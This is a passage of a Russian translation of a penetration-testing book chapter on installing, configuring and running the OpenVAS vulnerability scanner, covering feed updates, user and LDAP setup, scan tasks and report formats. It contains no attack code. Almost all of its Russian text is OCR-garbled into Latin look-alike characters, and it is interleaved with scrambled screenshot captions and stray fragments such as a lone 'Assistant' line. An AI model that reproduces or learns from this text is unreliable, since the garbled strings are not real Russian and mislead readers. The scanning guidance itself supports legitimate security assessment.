"\ Beinonnure ckanuposanue UDP Ha nenesoii cucreMe ¢
TTOMOIITEI0 KOMaHIHOH cTpokn NMAP.

o\ Ucnonp3yiite NMAP nns onpenenenus oneparioHHON
CHCTEMEI B 1ICJICBOM CHCTEME.

\ Ucnonp3yiite unTeHCUBHOE cKaHUpoBaHne NMAP Ha
LIEJIEBOM CHCTEME.

A\ Ucnonp3yiite paznuunbie cuieHapun NMAP mis
TIEpPEYHCIICHIS CEPBUCOB B IEJIEBOIT CHCTEME.

\ Hanmmmre Hexotopsiii kog Python, koTtopsiii ckanupyer ot 1
10 500 mopTOB B IIEJIEBOM CUCTEME.
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OpenVAS

B npenpinymieit rmase Bol y3Hasiu o NMAP u ero Bo3moxHoCTsX. B aT0M
[JIaBE BbI Y3HAETE, KAK MOXKHO HUCIIONb30BaTh OpenVAS 11l OLEHKH
YA3BUMOCTEN. B 4acTHOCTH, 3Ta I11aBa OXBATHIBAET CIEAYIOLIEE:

A\ Beenenne B OpenVAS

\ Hacrpoiika OpenVAS

\ Nmnopt pesynsratoB NMAP B OpenVAS
!\ CkaHHpOBaHHUE YS3BUMOCTEI

o\ CocraBreHne 0T4eTOB

Mpumeyvanne. Lenb OpenVAS orpaHuynBaeTcs
CKaHnpoBaHueM yassmmocTten, B otrimyme ot NMAP un
Metasploit, koTopble CNOCOBHbLI BbINOMAHATL ropa3no 6onbLie
3agady. C aTOM TOYKM 3pEHNSA BCE OCHOBHbIE 3a4a4u
OpenVAS paccmatpuBatloTcsi B 3TOM rmnaBe. JTO NOAroTOBUT
Bac K uHterpaumm OpenVAS c Metasploit B cnegytoluen
rnaee, rge Ha4yMHaeTCcsa HacTosiLee Becenbe.

© Sagar Rahalkar 2019
S. Rahalkar, Quick Start Guide to Penetration Testing,
https://doi.org/10.1007/978-1-4842-4270-4_2
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BeeneHune B OpenVAS

B mpenpimymieit rmase BoI y3Hamu o NMAP. NMAP - 310 nHCTpyMEHT,
KOTOPBIIl HAMHOTO OOJIBIIIE, YEM IIPOCTO cKaHep nopToB. Hanpumep, Bb
ncrnonbs3oBasii NMAP mist o6Hapy)erus ys3Bumocteid. OTHaKoO y HETO eCcTh
omnpeneneHnble orpannyeHnss. NMAP B 0CHOBHOM 00Hapy>KHBaeT TOJIBKO
orpannueHnble nzBectapie CVE. CnenoBarensHo, BaM, 6€3ycIOBHO, HY>KHO

JydIee pelieHue A OICHKU YA3BUMOCTH. BOT HECKOIBKO MOMYISIPHBIX

BAPUAHTOB:
o\ Nessus
\ Nexpose
A\ QualysGuard
A\ OpenVAS

OTH MPOLYKTHI ABJISIFOTCS 3PEIBIMH U IIUPOKO UCIOJIB3YIOTCS B
MPOMBIIUIEHHOCTH. B paMkax 3Toi KHUTHU BBI y3HaeTe o miatgopme
OpenVAS. 3to OecraTHO AJIs1 HCMIOIB30BaHMsI COOOIIECTBOM M Tpe/yiaraet
MHOTO MOJIE3HBIX (DYHKIIHH.

OpenVAS - s3To ab0peBHuarypa sl OTKPBITON CHCTEMBI OIIEHKU
VSI3BUMOCTEH. DTO HE MPOCTO UHCTPYMEHT, & TIOJIHOLIEHHAsSI CTPYKTYPa,
COCTOSIIIAsl U3 HECKOJIBKUX CEPBUCOB U MHCTPYMEHTOB, IIPEJIararomas
KOMIUIEKCHOE W MOIIIHOE PELICHUE I CKAHUPOBAaHUSA yS3BUMOCTEH 1
YIpaBIICHUS] UMH.

[Togo6HO TOMy, Kak aHTUBHPYCHOE pEIlIEHHE UMEET CUTHATYPBI AJIs
oOHapyKeHHsI N3BECTHBIX BPEAOHOCHBIX MporpamMM, OpenVAS nmeet
HaOop TectoB Ha ysa3BUMOCTh cetr (NVT). NVT mpoBonstes ¢
WCTIOJIb30BaHUEM IIJIATMHOB, KOTOPbIE Pa3paboTaHbl C HCIOIb30BAHUEM
kona Nessus Attack Scripting Language (NASL). B OpenVAS 6otee 50
000 NVT, u HoBble NVT m00aBisitoTcsl Ha peryisipHON OCHOBE.
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YcTtaHoBKa

OpenVAS mnocrassieTcsi ¢ HECKOJIBKUMH BapUaHTaMHU YCTaHOBKH, BKITFOUAsI
koHTelHep Docker. MoxeT ObITh YCTaHOBJICH Ha pa3INIHbIC
oTIepaloOHHbIe crucTeMbl. OHAKO caMBIi TIPOCTOM M OBICTPHIN CIOCO0
HadaTh paboty ¢ OpenVAS - 310 3arpy3uTh BUPTYaIbHOE YCTPOHCTBO
OpenVAS. ISO-o06pa3 BuptyansHoro ycrpoiictBa OpenVAS MoxHO
3arpys3utsb mo aapecy https://www.greenbone.net/en/install_use_gce/.
[Ipenmy1iiecTBO UCIIOJIB30BAHUS 3TOTO BUPTYaIbHOIO YCTPONCTBA COCTOUT
B TOM, 4TO y HETO yX€ €CTh BCE 3aBHCUMOCTH H BCE HACTPOEHO. Bce, 4to
BaM HYXHO CJIeJiaTh, 3TO 3arpy3uth 00pas ISO, 3arpy3uts ero B
VMware/VirtualBox u HacTpouTs HEKOTOpEIe 0a30BbIe GYHKIINH, H
OpenVAS Oyzer 3armyiieH B KpaTdaiIiime CpoKy.

Kak Tonpko BbI 3arpy3ute 3arpyxenssiii [ISO, Bbl MoXkeTe Hayatsb,
BBIOpaB omiuio Setup, Kak MokKa3aHo Ha pucyHke 2-1.

Greenbone Security Manager Setup - Build #435

Helcome to the Greenbone Security Manager Setup.

Select 'Setup’ to start setting up your Greenbone
Security Manager.

Start setting up your GSM

Wipe Erase the content of the disk
Quick Hipe Erase the metadata from the disk
Shell Start a minimal shell

Reboot Reboot the GSM

Poweroff Shutdown the GSM

Pucynok 2-1. Dxpan nauanvroti ycmanosku OpenVAS VM

3areM HaYMHACTCS YCTaHOBKA, KaK IMOKAa3aHO Ha PUCYHKEC 2-2.
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Greenbone Security Manager Setup - Build #435

Installation in progress...
Your GSM Community Edition is now being prepared.

Please visit www.greenbone.net to learn more about commercial
GSM appliances that solve all levels of enterprise needs. For
example secure airgap-updates for disconnected networks or
conmectivity with other security systems.

Pucynok 2-2. Yemanosxa u nacmpotika OpenVAS

Teneps BaM Hy>KHO €O3/1aTh HOBOT'O IOJIL30BATENS, KOTOPOTO BBI
OyzeTe NCTONIB30BATh TS aJIMUHUCTPATHBHBIX 1IeJIel, KaK MOKa3aHo
Ha pUCyHKe 2-3.

Admin user
Please choose the username
for the administrative
user

[admin_

BT <cancel>

Pucynok 2-3. Hacmpoiixa nonvzosamens 0as aomunucmpamopa OpenVAS

3areM BbI YCTaHABJIMBACTEC IapoJib JJIsI BHOBb CO3IaHHOI'O
IMMOJIb30BATCJIId, KaK ITOKa3aHO Ha PUCYHKC 2-4.,
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Admin password
Please enter the password for
the administrative user. If you
leave it empty, a random one

will be generated for you.

[Openvaseles_

AT <Cancel>

Pucynok 2-4. Yemanosxa napona ons aomunucmpamopa OpenVAS

Ilocne TOT'0, KaK Bbl HACTPOUJTIU aAMUHUCTPATUBHLIC YUCTHBIC JaHHBIC,
yCTaHOBKA Mepe3arpy’kKaeTcsi, U Bbl YBUANUTE 3aTPy304HOE MEHIO, KaK
MOKa3aHO Ha PUCYHKeE 2-5.

*Greenbone 0S

Pucynok 2-5. 3azcpysounoe menio OpenVAS
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I[anee Bbl YBUUTC KOHCOJIb KOMaHI[HOﬁ CTPOKHU, KaK INIOKAa3aHO Ha

pHUCYHKE 2-6, TJIe BaM HYXKHO BBECTH paHEe YCTAHOBICHHBIC YUETHbBIC
JaHHBIE.

Welcome to Greenbone 0S 4.2 (ttyl)
The web interface is available at:
http:/,192.168.25.136

gsm login: _

Pucynok 2-6. Konconv komanoHou cmpoku eupmyanvHou mawunsvt OpenVAS

Bel Moxere BuieTh, 4To yctaHoBka OpenVAS 3aBepiieHa, U ee BeO-
naTepderic moctymeH mo azapecy http://192.168.25.136. Ber  moxere

mompo0OOoBaTh MOYYUTh JOCTYT K BeO-MHTEpdeiicy, Kak MOKa3aHO Ha PUCYHKE
2-7.

Pucynok 2-7. Bebo-unmepdpetic OpenVAS ¢ norsamu 0nst 6xooa
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Mexty TeM, BaM HY»KHO 3arpy3uThcst B OC 1 BHECTH HECKOJIBKO
JIOTIOTHUTENNBHBIX U3MEHEHUH HACTPOEK, KakK MOKa3aHO HA PUCYHKe 2-8.

Greenbone 0S Administration

Pucynox 2-8. Hacmpoiixa OpenVAS u nonv3oeamenvckas Kongueypayus

Bam Heo0XoauMO co371aTh HOBOT'O MOJIb30BATE/Is-aIMUHUCTPATOPA U
YCTaHOBUTH MMl ITOJIb30BATEIs U M1APOJib, KaK MOKa3aHO Ha pucyHke 2-9.
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Greenbone 0S Administration

admin
o

R LT

Pucynok 2-9. Kongueypayus nonvzoeamens supmyaibHol MauluHvl
OpenVAS

Bepcus OpenVAS, KoTopyro BBl HCTIONB3YeETe, SBISIETCS BEPCUEH st
coobi1ecTsa, u i Hee He Tpebyetcs kimod. OIHAKO, €CIIA Bbl XOTHTE
HCIIOJIb30BaTh KOMMEPYECKYIO BEPCHIO, BaM HYXHO Oy/IeT BBECTH KITFOY
moanucku. Ceiyac BbI MOYKETE MPOIYCTUTH 3TOT IIar, Kak MOKa3aHo Ha

pucynke 2-10.

Greenbone 0S Administration

Pucynok 2-10. Dxpan 3aepysku xmowa noonucku OpenVAS
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AomMmuHuctpupoBaHme OpenVAS

B npenpinyniem pasaene Bel yBUIEIH, Kak HacTpouTh OpenVAS, 3arpy3us
TFOTOBYIO K HCIIOJIb30BAHUIO HACTPOUKY BUPTYyalbHOW MalllMHbIL. Terneps,
IIPEX/IE YeM BbI IPUCTYIIUTE K PEabHON YaCTH CKAHUPOBAHMSA, BAM HY)KHO

HAaCTPOUTH HECKOJBKO BEIIeH B paMKax afMHUHUCTPUPOBAHMSL.

OOHoBNEHMEe NeHTHLI

JlenTs! sBIsIIOTCSA a6COMOTHO HE0OXoAMMEBIM KoMmoHeHTOM OpenVAS. Ecin B
Barieit HacTpoiike OpenVAS ecTb cTapble KaHaJbI, BBI MOXETE TIPOIYCTUTh
oOHapyXeHHUe MOCIeTHIX ysa3BUMOcCTel. ClieoBaTenbHO, KpaiftHe BAYKHO
HUMETb camble MoCcIeTHIE KaHaIbl TIepe]] HauajaoM JJF000To CKaHUPOBAHUSI.
YrtoObl MPOBEPUTH TEKYIIYIO Bepcuto (ua, nepeiinure B craryc » Feed
Status, kak nokazaHo Ha pucyHke 2-11. Bel MoxeTe BUACTD, UTO KaHAJIbI HE

OOHOBIISUINCH B TeYeHUE 54 qHEN.

Copavbiane Secuiivy Anskn - Morlls Fistes eo e

Ah s e P e =

Vv o b s
T e 14 14 0495 L

Pucynox 2-11. Cocmosnue nodauu OpenVAS, ¢ ycmapeswiumu nosocmsamu

Y100l OOHOBHUTH KAHAJIBI, BBl MOXKETE 3aiTH B TEPMHUHAI U HAOPATh
komaHy openvas-feed-update, kak mokaszano Ha prucynke 2-12. TIpocto
yOeIUTECh, YTO Y BaC €CTh aKTUBHOE MOAK/IIOYEeHHE K IHTEepHETY 115t

OOHOBJICHUS KaHAIIOB.
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root@Kkali: ~ @0 1

File Edit View Search Terminal Help

openvasmd-sqlite openvas-stop
openvas-migrate-to-postgres
root@kali:~# openvas-feed-update
[>] Updating OpenVAS feeds
*]1 [1/3] updating: NVT
OpenVAS community feed server - http://www.openvas.org/
This service is hosted by Greenbone Networks - http://www.greenbone.net/

All transactions are logged.

If you have any questions, please use the OpenVAS mailing lists
or the OpenVAS IRC chat. See http://www.openvas.org/ for details.

By using this service you agree to our terms and conditions.
Only one sync per time, otherwise the source ip will be blocked.
receiving incremental file list
plugin feed info.inc
1,131 100% 1.08MB/s 0:00:00 (xfr#l, to-chk=0/1)
sent 43 bytes received 1,234 bytes 364.86 bytes/sec
total size is 1,131 speedup is 0.89
OpenVAS community feed server - http://www.openvas.org/
This service is hosted by Greenbone Networks - http://www.greenbone.net/
All transactions are logged.

If you have any questions, please use the OpenVAS mailing lists
or the OpenVAS IRC chat. See http://www.openvas.org/ for details.

By using this service you agree to our terms and conditions.
Only one sync per time, otherwise the source ip will be blocked.

receiving incremental file list

Pucynok 2-12. Oonosnenue xananog yszeumocmu OpenVAS

OOHOBINICHNE JICHTHI 3aliMeT HEKOTOpoe BpeMs; [lociie 3Toro Bel MOXKeTe

cHOBa 3aiiTH B BeO-uHTepdeiic OpenVAS u ipoBepuTs cTaTyc KaHana. Ternepb

Bbl JOJDKHBI YBUACTL, YTO CTATYC NMOAAYU ABJIACTCA TCKYLIHUM, KaK IMOKa3aHO

Ha pUcyHke 2-13.
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Grrenbons Securty Authiant - Mesita Feeto Y]

Socarny Kk Crea K Oy, Wt Tty Pepkct 08 Wby g Kl Foromn \, Sieo o (§ firting S8

Feed Status
e

Pucynoxk 2-13. Obnoenern cmamyc kananra OpenVAS

YnpaBneHue nonb3oBaTensimm

OpenVAS paboTtaer B apXUTEKType KIHEHT-CEPBEP, TI¢ HECKOIBKO
MIOJIB30BaTENeH MOTYT MOAKIIOYAThCS K ICHTPAIN30BAaHHOMY CEPBEPY.
CrenoBareibHO, BXKHO CO3JaBaTh U YIPABIATH MOJIb30BATENSIMH U
rpynmnamu. [Ipexne yem co3maBaTh MOJIB30BaTENCH, BAM HEOOXOIHMO
HWMETh HECKOJIBKO TPYIII TOJIb30BaTesiell. UToOBI co31aTh HOBBIE TPYIIIIEI
nonb3oBareneit OpenVAS, nepeiigure B Administration » Groups, Kak
[MOKa3aHo Ha pucyHke 2-14.

Pucynox 2-14. Kouconwv ynpasnenus OpenVAS

[Tocie Toro Kak BbI CO3/1aJIM U HACTPOMIT HEOOXOUMBIE TPYIIIIBI, BBI
MOXETE CO3/IaBaTh HOBBIX IMOJB30BaTelIC U HA3HAYATh HX OTPEICICHHBIM
rpyInaM Ha OCHOBE UX YPOBHEH npuBmieruii. YToObl co31aTh HOBOTO
moJib30Bares, nepeiaute B Administration » Users, kak ToKa3aHo Ha
pucynke 2-15.

57



maBa 2 OpenVAS

R R - R 5 27X 7Y
Crawtane Seswiy Asyatar - Mosthe Frvten coo0
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Pucynok 2-15. Jlobasnenue noguvlx noavzoeameneti ¢ OpenVAS

B T0 Bpems kak OpenVAS no3BosieT BaM co3/1aBaTh U yIIPaBIATh
MOJIH30BATEISIMU JIOKAJIBHO, OH TaKKe TI03BOJISIET BaM MOAKIIOYATHCS C
MOMOIIBIO 00JIErYeHHOTO MPOTOKOJa JocTyna K katanoram (LDAP) s
LEHTPAIN30BaHHOTO YIPABJICHUsI MOJIb30BaTeNIMHI. MOXXHO HACTPOUTH
napamerpsl LDAP, nepeiinsg 8 Administration » LDAP, kak nokazano Ha
pucynke 2-16.

e . . i
) 0 im0 msrocs s arsamenpesvens s s s s o | som

vt Ve FICHIenshve Securty WKk Lioe Gl Diocs W Jai Tosts  Expiot 06 WoAresack ng TN Forume W Met-uumer B Gesting Stwed

IIEJ LDAP per-User Authentication
T | T ——____—

Erable -

Lo e [varany |
e

o o | s i Say |

A conficans [ e e e e,

Pucynok 2-16. Kongpueypayus OpenVAS ona aymenmugpuxayuu LDAP
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Amnanoruuno, OpenVAS Takke MOXHO HACTPOUTH JUIsl ayTCHTU(DUKAIIUN

Ha cepBepe RADIUS. Dto MoXHO clenarh, HACTPOUB MapaMeTphl cepBepa

RADIUS B pazngene Administration » RADIUS, xak moka3zaHo Ha pUCYHKeE 2-
17.

Greerbase Security Masistaet - Mozila Fiefur

& Greesbons Sasormya W | #

S et nrant

sacrue iy seraerrese

Pucynok 2-17. Kongpueypayus OpenVAS ona aymenmugpurayuu RADIUS

[MaHenb npmnbopos

OpenVAS nmeet 6oraTyro naHesab HHCTPYMEHTOB, KOTOPast IO YMOTYaHHIO
SIBJISIETCS €T0 JAOMaIIHEeH cTpaHulel. [lanens HHCTPYMEHTOB Npeyiaraet
LIEHTpaIN30BaHHOE MpeAcTaBieHue 3a1a4, xocTtoB, NVT u 1. /1., Kak
MoKa3aHo Ha pucyHke 2-18. Kaxayto gemMorpaduio MOXXHO SKCIIOPTHPOBATH
B (hopmate CSV.

Covantone Sesuiny A sturt - Moca Fivton eceo

e B Yew Ny Beteads Do ey

# Geverbon

€ o
B fnt Vuted M ety \ 60 rna N\ ¥ab Dot N\ Tty & £xpot 08 WoAwcsinch g Dt famamm \ Mesites  Gutting Siares

Greenbone - e e,
Avgatae Py ine

Pucynok 2-18. Ianenv uncmpymenmos OpenVAS ¢ demoecpagueit
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[11aHMPOBLUMK

B xopniopaTuBHO# cpeie MOXKeT MoTpedoBaThCs, YTOOBI CKAHWPOBAHME
BBITIOJTHSUIOCH B Hepabodee BpeMs. B TakoM ciydae MOXKET PUTOAUTHCS
m1aHupoBIMK OpenVAS. JIoCcTyn K IUTaHUPOBUINKY MOXHO HOJTYYHTh B
Configuration » Schedules, 1 ero MOXHO UCTIONB30BATh IS 3AITyCKa
CKaHMPOBAHHS B ONpeJIeTIeHHOE BpeMs, KaK IT0Ka3aHO Ha pucyHke 2-19.

Assistant

|/ # Greenbene SecuryA_ x | +

b€ DR | https 120,00 L 939Uompremd= get. schedules &token =<t 713781 4223 469900 Boidra 368 @ 13 Searen

2 Most Visked JOffensive Securty N\ Kal Linux "\ Keli Docs \Kaki Tools % Explo-D8 W Akerack-ng 2 N\ Nethunter @

Pucynok 2-19. I[Inanuposwux cxanuposanust OpenVAS

MycopHas Kop3uHa

Ecnu Bam ynacrtest ynanuTh kakoi-u6o o0bekt B OpenVAS u mozxe
noTpedyercs BEpHYTh €ro 00paTHO, €r0 MOXKHO BOCCTAHOBUTH C TIOMOIILIO
Kop3uHbL. Bbl MoXkeTe moyunTts K Hemy goctyn B Extras » Trashcan, kak
Moka3aHo Ha pucynke 2-20.
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Gireenbons Security Assistant - Morila Firsfox
& Greentone Secuy A x| +

& TR

nary N Kl Hia KAl Docs. W KA Tocls e Eaptod D3 Wy Ascrachong, TMal Forews "\ NetHunte @ Getting Stated

71
m Trashcan

Contents

hetes

Permasisers

Pucynoxk 2-20. Kopsuna OpenVAS 01 npocmompa u 60CCmano8ieHust
VOQILEHHBIX DTIEMEHMO8

[NomoLub

Xots 60nmbIIMHCTBO 33724 B OpenVAS mpocTo ¥ JIeTKo HalTH, MOXKET
CIIyYUTBCS TaK, YTO BaM TMOHAJA00UTCS MOMOIL IO OTIPEIETICHHBIM TEMaM.
OpenVAS nMeeT HeuepIbIBaroIYyO CIIPABOYHYIO TOKYMEHTALUIO, TOCTYI
K KOTOpoi BbI MoXkeTe mosryunts B Help » Contents, kak okazaHo Ha
pucynke 2-21.
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Pucynok 2-21. Cnpasounulii konmenm OpenVAS

CKkaHupoBaHue ya3BMMOCTEN

Teneps, korna y Bac ectb OpenVAS, HacTpoeHHbIH 1 paboTaromuii ¢
0OHOBJICHHBIMHU KaHAJIaMH, BBl MOKETE MPUCTYIHUTh K CKAHUPOBAHUIO
JeHCTByIOIIEH 1esu. 31ech Bbl CHaYasa nonpolyere CKaHUPOBATh CUCTEMY
Linux. Boiinute B Be6-unTepdeiic OpenVAS, kak moka3aHo Ha pUCyHKe 2-22.

Conatins Sony Ackiains - St Pt ceo

fe s 8w W

o Vet e Yoty Kk Lo N O Kk P = Fopiot 0 Aok g U v \ N @ Ging et

et b3 s o 4

Pucynok 2-22. Cmpanuya éxooa OpenVAS
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CreyronyM maroMm sIBISIETCS CO3JaHNe HOBOH 3a1a4u IPOBEpKH. YTOOBI
co3/1aThb HOBOE 3aJJaHU€ Ha CKaHUpOBaHUE, nepeiiaure k Scans » Tasks, kak
MOKa3aHo Ha pUCYHKe 2-23.

Greenbone Security Assistant - Mazilla Firefox
& Greenbone Securty A x | =+

£ DR hipsi127.001

Most visiteds [FOffensive Secunty S Kali Linux W, Kall Docs S Kall Teols & Explot-DB WyAlrorack-ng mKall Fonams S, NetHunter @ Getting Started

Greenbone
Security Assistant

Casameard

Conmguration

el - b Filter
Task Wirard

| A

12 oy Task Wiara

¥ TTasks (0 of 0)

ced Task Witard

Tasks by Severity Class (Total: 0)

Tasks with mest High results poe host

We Tasks with High severity found

Pucynox 2-23. [lanenv uncmpymenmoe OpenVAS u macmep 3a0au

Teneps Bbl MOXKeTe MO0 3aIlyCTUTh IPOCTON MacTep 3aj1ad, 1100
HCTOJIb30BaTh PaCIIMPEHHBIA MacTep 3a/1a4, KOTOPBIH oOecneynBaeT
OostblIyIO THOKOCTH CKaHUpoBaHus. Celyac Bbl HAYHETE C POCTOr0
Macrtepa 3a7a4, Kak [0Ka3aHo Ha pucyHke 2-24. Bce, 4To BaM HYXHO
c/enaTh, 3T0O BBeCTH LeneBoii [P-agpec u Haxkarp Start Scan (Hauats
CKaHMPOBAaHHE).
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Greenbone Security Assistant - Mozilla Firefox
V/'O Greenbone Security A... :.\-i-

[ €) R | hittps://127.0.0,1:939 jomp7cmi=get_tasks&token » 1a82a860- 7c 39-4ate-98a - 260959 18203

15 Most Visitedv [FOffensive Security '\, Kali Linux "\ Kall Docs "\, Kali Tools  Explot-DB Wy Aircrack-ng gUKali Forums \, NetHunter @ Getting Started

v
‘Quick start: Immediately scan an IP address
IPmumm
[lszmzs.m |

THG GEfAIT BOOSS 5 CRNSY YOUF COMTPULE OF YOUF NeSWork Gateway.
As 3 short-cut | wi do the Tollowing for you:

gt away
4. Switch the view 1o reload every 30 SECONGS S0 YOU CaN 1ean ack and WatCh the SCan progress

In fact, you must not lean back. As 5000 s he SCan progress s beyond 196, yvucmmwm
1he scan report via the link in the Reports Total column and review the results collected so l;

When creating the Target and Task | will use the defauts s configured In "My Settings”.
By clickang the New Task oon & y a new Task yoursell,

Pucynox 2-24. Hnuyuuposanue H08020 CKAHUPOBAHUSL YS3GUMOCMEN 8
OpenVAS

Obparute BHUManue, 4to OpenVAS nMeeT HECKOIBKO
npeaonpeaeieHHbIX Tpoduiel ckaHupoBaHus. B 3aBucuMocTy OoT
KOHKPETHOTO TpeOOBAaHUsI BBl MOXKETE BHIOPATh OIUH U3 CIEAYIONINX

npoduieit CKaHUPOBAHMSL:

o\ Discovery (OTkpbITO€)

o\ Full and Fast (ITonHoe 1 ObIcTpOE)

\ Full and Fast Ultimate (ITomHOe 1 MakcUMaJIEHO OBICTPOE)
o\ Full and Very Deep (ITomHOe 11 0ueHb TiryOOKO€)

o\ Full and Very Deep Ultimate (IloinHoe 1 MakcuManbHO
r1yOoKoe)

o\ Host Discovery (OTKpbITO€ CKAHIPOBaHHE XOCTOB)

o\ System Discovery (OTKppITOE€ CKAHUPOBAaHUE CUCUTEMBI)

JIJs CKaHUPOBAHMUS TI0 YMOJTYaHHIO BBIOPAH MOJHBII U OBICTPHIA
PO b,
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CkaHupOBaHUE 3aMyCKACTCs, U BBl MOXKETE BUJIETh, YTO COCTOSTHUE
CKaHUPOBAHHsS YCTAHOBJICHO Ha BhITONHSETCS, KaK TIOKa3aHO Ha PHCYHKE 2-
25. Bxianka nmeficTBHIA CKaHUPOBAHUS IPEIOCTABIIET Pa3IHIHBIC CITOCOOKI

MIPHOCTAHOBKH ¥ BO30OHOBIIEHUS! CKAHUPOBAHUS TIPH HEOOXOAUMOCTH.

Greemoane Secunty Asstast - MactlaFreton CRCN]

e s aC e n

Torks & Expiod 05 W Muiack vq TPk Forems \ Neshomer @ Gening Ssased
Lot i A i
S T e s

Tasks (1 0f 1)

N——

[SrI———yr

Pucynok 2-25. [lanens monumopunea cocmosanus 3a0ay OpenVAS

[Nocne 3aBepiieHHsT CKAHUPOBAHMUS BBl MOXKETE MEPEHTH K paziemy
«Pesynbrarel ckanupoBaHus» (Scans ¥ Results) u mpocMoTpeTs ysI3BUMOCTH,
BBISIBJICHHBIE BO BpeMsl CKAaHWPOBAaHMUS, KaK IOKa3aHo Ha puc. 2-26. Teneps,
KOTJla CKAaHMPOBAaHHE 3aBEPLICHO, BBl MOXKETE MIPOCTO MIPOCMOTPETh
pe3ynbTaThl CKaHUpoBaHUA B BeO-koHcomn OpenVAS uiu 3arpy3uThb
MOJPOOHBIN OTYET B BHIOpaHHOM BamH (popmare.

Corarbare Sacurivy Amistwe - Mora Frvten

& Crecedone oA, » | &
€ e 71001
bt Vet Besnave Seoty N X Um0k s W, €0 Ty gt 8 Wi sy TN Fowom \ Nerwindes @ Gt Staried

* Report: Results (51 of 366)

T

Pucynok 2-26. Pezynomamoi ckanuposanus OpenVAS
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Taxoke BO3MOXXHO OT(UIIBTPOBATH Pe3yAbTaThl ys3BUMOCTU. Hanpumep, BbI
MOXKETE 3aXOTETh YBUAETH TOJBKO YS3BUMOCTH, cBs3aHHble ¢ HTTP. Ilpocto
nepeiiaute B Scans » Results u Ha Brinagke Filter BBequTe kputepuun GuieTpa,
KaK MOKa3aHo Ha pUCyHKe 2-27.

Covarbare Securicy Amistwe - Mecia Freten eco
€ e 21001 ¢80 s 80w =

Greenbone (ot aicen s s
& Socurity Assistaet ' S 0 S 0r RoA

e Boun

€

Results (32 of 736)
L <
[
. {

(winarsbany W [seny

Hilkidill

Pucynok 2-27. Pezynomamut ckanuposanus OpenVAS u ¢punompor

[onornHuTtenbHble HacTponkn OpenVAS

Jlo cux mop BBI BUENH, KaK HACTPOUTH BUPTyalbHYyI0 MaminHy OpenVAS n
MPUCTYNHTH K CKAHUPOBaHUIO ysi3BuMocTeil. OpenVAS - aTo rubkas cucrema
YIpaBIEHUS YA3BUMOCTAMH, KOTOPas MpeularacT MHOXKECTBO HacTpoek. B
9TOM paszfielie pacCKa3bIBA€TCA O HEKOTOPBIX JTOTOIHUTENBHBIX HACTPOMKaxX
OpenVAS, KOTOpBIE BBl MOJKETE HACTPOUTH B COOTBETCTBHH CO CBOMMH

TPeOOBaHUSIMH.

[Tpon3BOANTENIBHOCTb

OpenVAS, 6e3yciioBHO, pecypcoeMKuii HHCTpyMeHT. OH MOXXET OTpeOIsATh
MHOTO MaMsTH | Tiporieccopa. CrenoBareiabHO, TP CKAHUPOBAHUHU
HECKOJIBKUX CUCTEM CTOMT CIETUTD 33 UX MPOU3BOJUTEIBHOCTHI0. UTOOBI
IIPOCMOTPETh JaHHBIE O IIPOU3BOIUTEIBHOCTH, IepelauTe K pasneiny Extras
» Performance, kak mokazaHo Ha pucyHke 2-28. Bbl MOkeTe MPOCMOTPETh
JAHHBIE O IIPOU3BOUTEIBHOCTH 3a OIPEAEICHHBIN IEPHO]] BpEMEHU,
OT(WIBTPOBAB AATHI.
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Grianbans Bacariny Aatissant - Mol Firefix eaeo

Pucynok 2-28. O630p pecypcog u npouzgooumenvhocmu OpenVAS

CVSS Kanbkynatop

O6mas cucrema oreHk yszBumocteit (CVSS) - aTo 6a3oBas JuHMA,
WCTIOIb3yeMasi MHOTHMH MPOIYKTaMH O0€30MacHOCTH ISl pacyeTa
cepbe3HOCTH yA3BUMOCTH. CVSS yuHTEIBaeT HECKOIBKO MapaMeTPOB,
MIPEKE YEM BBIYMCIATH OLEHKY ya3BUMocTH. OpenVAS npeanaraer
TOTOBBIH K MCIIONB30BaHUIO KANBKYIATOp CVSS, KOTOPHIH BB MOXKETE
HCIOJIb30BATh JUIS NoACYeTa 0asIoB ySI3BUMOCTH. BBl MoXeTe momy4YuTh
noctyn K kanbkyasitopy CVSS B mento Extras » CVSS Calculator, xak
MOKa3aHo Ha pUcyHKe 2-29. Bbl MoxeTe HaliTh Ooliee moapoOHyI0
nnpopmaro o CVSS Ha https://www.first.org/cvss/.
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Craambons Socurty utivard Mol Kol eso

From Metries:

From Vector:

Pucynok 2-29. OpenVAS CVSS kanvxynamop
HacTtponku

OpenVAS - 3to koH(pHUTypUpyeMasi CUCTEMa C MHOXKECTBOM HaCTPOCK.
OueHb 10JIE3HO NOIYYUTh 0030p BCEX HACTPOEK U MX 3HAYEHUH B OHOM
Mecre. Ber Mmoxere nepelitu k pazneny Extras » My Settings, kak mokazaHo
Ha puc. 2-30, 4ToOBI TOTYYUTH 0030p HACTPOEK, HACTPOCHHBIX HA JTAHHBIH
MOMEHT.

Gobelbane Sacurty Aasiscart - Mcala Fisefon eeo

‘T My Settings
e~ ]

Pucynok 2-30. Aomunucmpamusnvie nacmpotixu OpenVAS
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CocTaBneHue oT4eToB

Wraxk, BB y3HANH, Kak A3 PeKTHBHO uconb3oBaTh OpenVAS mis
CKaHMPOBaHHS eNeBBIX cucTeM. [locre 3aBepiieHus CKAHUPOBAHHUS
CJICAYIOIINM BaXKHBIM IIaroM OyJIeT co3ianue moapoOHoro otyera. Hanmune
MOAPOOHOT0 OTYETa YPE3BHIYANHO BAKHO, TIOCKOJIBKY OHO IIOMOXET
aJIMUHUCTPATOPaM YCTPAHHUTh BBISBICHHbBIE Ysi3BUMOCTH. OpenVAS

moAACPIKNBACT HECKOJIBKO (I)OpMaTOB OTYCTOB, IEPCUNCIICHHBIX 3/1€Ch:

\ Anonymous XML
A\ ARF

o\ CPE

o\ CSV Hosts

o\ CSV Results
A\ HTML

\ ITG

!\ LaTeX

A\ NBE

\ PDF

A\ Topology SVG
A\ TXT

"\ Verinice ISM
!\ Verinice ITG
A\ XML

Uto0b! creHepupoBaTh OTYET B TpeOyeMoM (opmare, iepeiuTe B Scans
» Reports, BeIOepuTe HopMaT B paCKPHIBAIOIIEMCS MEHIO i HAXKMHTE
CMEKHYIO CTPEIIKy BHU3, YTOOBI 3arPy3HUTh OTUET, KaK TIOKa3aHO Ha PHCYHKE
2-31.
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maBa 2 OpenVAS

s KaX10¥ BBISIBICHHON YA3BUMOCTH OTYET COACPHKUT CICAYIOIINE

JlaHHBIE:
A\ Summary (Pestome)
A\ Vulnerability detection result (Pe3ymnbrat oOHapyKeHHUS
YSI3BUMOCTH )
)\ Impact (Biusiaue)
\ Solution (Pemenne)
\ Affected software/OS (Vsa3Bumoe mporpaMmmHoOe
obecneuenne/OC)
\ Vulnerability insight (ITornmanue ys13BUMOCTH)
\ Vulnerability detection method (Meton o6HapyxeHus
